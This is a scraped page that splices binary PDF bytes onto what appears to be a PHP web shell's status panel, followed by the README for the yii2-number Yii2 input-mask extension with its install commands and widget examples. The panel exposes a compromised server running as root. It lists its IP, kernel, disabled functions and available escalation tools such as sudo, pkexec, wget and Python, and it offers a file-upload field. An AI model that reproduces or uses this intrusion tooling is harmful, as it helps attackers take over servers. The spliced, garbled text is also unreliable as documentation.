%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.26 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/var/www/html/ppaobm/vendor/kartik-v/yii2-number/ |
Upload File : |
<h1 align="center">
<a href="http://demos.krajee.com" title="Krajee Demos" target="_blank">
<img src="http://kartik-v.github.io/bootstrap-fileinput-samples/samples/krajee-logo-b.png" alt="Krajee Logo"/>
</a>
<br>
yii2-number
<hr>
<a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=DTP3NZQ6G2AYU"
title="Donate via Paypal" target="_blank">
<img src="http://kartik-v.github.io/bootstrap-fileinput-samples/samples/donate.png" alt="Donate"/>
</a>
</h1>
[](https://packagist.org/packages/kartik-v/yii2-number)
[](https://packagist.org/packages/kartik-v/yii2-number)
[](https://packagist.org/packages/kartik-v/yii2-number)
[](https://packagist.org/packages/kartik-v/yii2-number)
[](https://packagist.org/packages/kartik-v/yii2-number)
[](https://packagist.org/packages/kartik-v/yii2-number)
> ### Note
> This extension replaces the [yii2-money](https://github.com/kartik-v/yii2-money) extension since Jan 2018. The [yii2-money](https://github.com/kartik-v/yii2-money) extension will not be enhanced further or supported.
A number control input for Yii2 Framework that uses the [jQuery input mask plugin](https://github.com/RobinHerbots/Inputmask) (available also via `yii/widgets/MaskedInputAsset`) to render number input masks. This extension is similar to the [DateControl extension](http://demos.krajee.com/datecontrol) for dates, and allows one to control the display and save formats for numbers. The extension thus allows one to setup a number format display mask, use currency prefixes if needed, and modify the decimals and thousand separators. It lastly allow the display fields to be auto calculated as numbers when stored into the database.
Refer [detailed documentation and demos](http://demos.krajee.com/number).
## Release Updates
Refer the [CHANGE LOG](https://github.com/kartik-v/yii2-number/blob/master/CHANGE.md) for updates and changes to various releases.
### Install
Either run
```
$ php composer.phar require kartik-v/yii2-number "@dev"
```
or add
```
"kartik-v/yii2-number": "@dev"
```
to the ```require``` section of your `composer.json` file.
## Usage
```php
use kartik\number\NumberControl;
// Normal decimal
echo NumberControl::widget([
'name' => 'normal-decimal',
'value' => 43829.39,
]);
// Integer only
echo NumberControl::widget([
'name' => 'integer-only',
'value' => 32892,
'maskedInputOptions' => ['digits' => 0],
]);
// Currency style with prefix and suffix
echo NumberControl::widget([
'name' => 'currency-num',
'value' => 2018032.22,
'maskedInputOptions' => ['prefix' => '$ ', 'suffix' => ' c'],
]);
// Usage with model
$model->currency = 1298132.23;
echo NumberControl::widget([
'model' => $model,
'attribute' => 'currency',
'maskedInputOptions' => ['prefix' => '$ ', 'suffix' => ' c'],
]);
```
## License
**yii2-number** is released under the BSD-3-Clause License. See the bundled `LICENSE.md` for details.